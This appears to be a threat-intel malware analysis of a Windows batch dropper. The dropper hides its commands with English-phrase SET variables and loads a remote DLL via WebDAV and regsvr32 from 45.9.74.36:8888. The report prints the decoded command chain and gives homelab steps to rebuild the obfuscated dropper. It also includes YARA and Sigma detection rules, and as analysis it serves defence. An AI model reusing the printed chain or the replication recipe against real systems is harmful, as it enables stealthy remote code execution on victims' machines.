unclassified-js-webdav-dropper: 509090e9 — Forty-ninth confirmed sibling, 146-line word-salad padding, :tax label, WebDAV C2 45.9.74.36:8888

Executive Summary

Pure Windows batch stager, forty-ninth confirmed sibling of the unclassified-js-webdav-dropper family. Uses natural-language SET variable obfuscation (36 English-phrase variables) with 146 lines of leading word-salad noise before the :tax functional label. Decodes to the same execution chain: color f0 && start wordpad decoy, then PowerShell-hidden net use WebDAV mount + regsvr32 /s remote DLL load against 45.9.74.36:8888. Static-only (batch script, no CAPE).

What It Is

• Filename: 2950428276197768463.bat ^[triage.json]
• Size: 15,180 bytes (14.8 KB) ^[file.txt]
• Type: ASCII text with CRLF line terminators, very long lines (2,258 chars) ^[file.txt]
• Family: unclassified-js-webdav-dropper — forty-ninth confirmed sibling
• Family confidence: high — identical execution engine, same C2 IP, same variable-count (36), same natural-language SET naming convention

How It Works

The script begins with goto tax ^[strings.txt:1], jumping over 146 lines of natural-language noise padding (adjective-noun phrases, descriptor compounds, and occasional single-word interjections: "fetch", "great", "fruit", "frog", "sky", "bells", "large") ^[strings.txt:2-145]. This padding has no functional purpose; it is anti-triage noise designed to push the payload below the fold of casual string inspection. The padding volume here (~14 KB) is smaller than the ~185-line / ~16 KB expanded padding of sibling a1b6e36f but larger than the ~40-line / ~3 KB minimal padding of siblings 976dc607 and 9bea44f4.

At label :tax ^[strings.txt:146], the script defines 36 SET variables with long English-phrase names, each mapping to a single character, all chained on one line via &&:

The payload is reassembled via batch %VAR% expansion on three lines ^[strings.txt:148-150]:

color f0&&start wordpad
start powershell.exe -windowstyle hidden net use \\45.9.74.36@8888\davwwwroot\ ; regsvr32 /s \\45.9.74.36@8888\davwwwroot\1286194077305.dll
exit

Execution chain:

1. color f0 — sets console colors (decoy).
2. start wordpad — launches WordPad (legitimacy masquerade).
3. start powershell.exe -windowstyle hidden — spawns hidden PowerShell.
4. net use \\45.9.74.36@8888\davwwwroot\ — mounts attacker WebDAV share.
5. regsvr32 /s \\45.9.74.36@8888\davwwwroot\1286194077305.dll — silently registers the remote DLL (T1218.010).

Decompiled Behavior

Not applicable — batch script, not a PE. No Ghidra or radare2 analysis possible. The script is interpreted by cmd.exe at runtime.

C2 Infrastructure

Same C2 IP as siblings ffd5d894, e11665cf, dac5e0ee, b2a097ba, b32ea531, 976dc607, 9bea44f4, a1b6e36f, 682bea06, 6e5e5715, and the entire 45.9.74.36:8888 JScript dictionary cluster. The payload filename is throwaway — a different numeric string in every sibling.

Interesting Tidbits

• :tax label — New label name; siblings have used :drunk, :quarrelsome, :signal, :b, :wind, :minister, and others. The label naming appears random/semantic noise. ^[strings.txt:146]
• 146-line word-salad padding — Mid-sized padding volume between the ~40-line minimal (976dc607) and ~185-line expanded (a1b6e36f). The noise includes occasional single-word interjections ("fetch", "great", "fruit", "frog", "sky", "bells", "large") interspersed among longer multi-word phrases. ^[strings.txt:2-145]
• Natural-language variable names — Three-word English compounds (rifleconditiontickle, miniatureteeny-tinysprout, badgeinstinctivescandalous, firereactionunaccountable). Same grammatically-plausible style as ffd5d894, e11665cf, dac5e0ee, b2a097ba, b32ea531, 976dc607, 9bea44f4, a1b6e36f, 682bea06, and 6e5e5715. ^[strings.txt:147]
• No sandbox gate — No VM checks, no debugger checks, no connectivity checks, no process-list enumeration. Fire-and-forget execution. ^[dynamic-analysis.md]
• Static-only — CAPE skipped this sample because it is ASCII text, not a supported binary class. ^[dynamic-analysis.md]
• No persistence — One-shot execution; no registry, scheduled task, or startup folder modifications. ^[strings.txt:148-150]

How To Mess With It (Homelab Replication)

Goal: Reproduce the batch SET obfuscation + WebDAV dropper chain in your lab.

Toolchain: Notepad and cmd.exe. No compiler required.

Steps:

1. Write a benign test DLL (e.g., a simple COM DLL with DllRegisterServer that writes to %TEMP%\test.txt).
2. Host it on a WebDAV server:

   pip install wsgidav cheroot
   wsgidav --host=0.0.0.0 --port=8888 --root=/tmp/webdav --auth=anonymous
   

3. Build a batch script with 36 SET variables mapping English phrases to characters, then %VAR%-expand them into:

   color f0 && start wordpad
   start powershell.exe -windowstyle hidden net use \\YOUR.IP@8888\davwwwroot\ ; regsvr32 /s \\YOUR.IP@8888\davwwwroot\test.dll
   

4. Add 140+ lines of word-salad noise before the :label.
5. Execute on a Windows VM. Verify with ProcMon: cmd.exe -> wordpad.exe + powershell.exe -> net.exe -> regsvr32.exe loading DLL from UNC.

What you'll learn: How trivial it is to bypass static string extraction with batch variable expansion, and how few EDRs flag regsvr32.exe with a UNC path by default. The padding volume demonstrates a progression in anti-triage sophistication across siblings.

Deployable Signatures

YARA Rule

rule Unclassified_JS_WebDAV_Dropper_Batch_NaturalLanguage_SET_MidPadding
{
    meta:
        description = "Detects pure-batch WebDAV dropper with natural-language SET obfuscation and mid-volume word-salad padding"
        author = "PacketPursuit"
        date = "2026-07-09"
        sha256 = "509090e9d5e98b9445ee3783c37cd5e59cecdc92e683e2329627cbc29ca73ccd"
        family = "unclassified-js-webdav-dropper"

    strings:
        $set1 = "set " nocase ascii
        $netuse = "net use" nocase ascii
        $dav = "DavWWWRoot" nocase ascii
        $regsvr = "regsvr32" nocase ascii
        $pshidden = "-windowstyle hidden" nocase ascii
        $wordpad = "wordpad" nocase ascii
        $color = "color f0" nocase ascii

    condition:
        filesize < 25KB
        and #set1 >= 30
        and $netuse
        and $dav
        and $regsvr
        and $pshidden
        and $wordpad
        and $color
        and uint16(0) != 0x5A4D   // not a PE
        and uint16(0) != 0x4D5A   // not a PE
}

Sigma Rule

title: WebDAV Regsvr32 Execution from Batch Script
logsource:
    category: process_creation
    product: windows
detection:
    selection_regsvr32:
        CommandLine|contains:
            - 'regsvr32'
            - 'DavWWWRoot'
    selection_parent:
        ParentImage|endswith:
            - '\cmd.exe'
            - '\wscript.exe'
    selection_powershell:
        CommandLine|contains:
            - 'powershell'
            - '-windowstyle hidden'
            - 'net use'
    condition: selection_regsvr32 and selection_parent and selection_powershell
falsepositives:
    - Rare legitimate IT automation using WebDAV for software deployment
level: high

IOC List

Behavioral Fingerprint

This batch script defines 30+ SET variables with English-phrase names, each holding a single character. It reassembles the payload via %VAR% expansion into a three-line command: (1) set console colors and launch WordPad as a decoy, (2) spawn hidden PowerShell to mount a WebDAV share via net use and silently register a remote DLL via regsvr32 /s, (3) exit. The script contains 146 lines of natural-language noise padding before the functional :tax label — mid-sized padding between minimal and expanded variants observed in this family. No sandbox gates, no VM checks, no persistence — one-shot execution.

Detection Signatures (ATT&CK)

References

• Entity page: unclassified-js-webdav-dropper
• Technique page: batch-powershell-variable-expansion-obfuscation
• Technique page: webdav-regsvr32-dll-sideloading
• Concept page: natural-language-payload-encoding
• Sibling analysis: a1b6e36f — expanded ~185-line padding variant ^[/intel/analyses/a1b6e36f99e1f94e452e8edcf7af6ba0e86de30d8e7508399881519c85f7b5c4.html]
• Sibling analysis: 9bea44f4 — prior sibling with same execution engine and ~40-line padding ^[/intel/analyses/9bea44f4212f20276963dd4bdfaac9793a263827ae2909c0fa66d5fac9542160.html]

Provenance

Analysis based on:

• file.txt — file utility output
• strings.txt — full script text with line numbers
• triage.json — triage metadata
• dynamic-analysis.md — CAPE skip note (batch script, not a supported binary)
• exiftool.json — file metadata (MIME text/plain)
• Manual batch variable expansion decoding via Python script
• Family context from unclassified-js-webdav-dropper entity page and 48 prior sibling analyses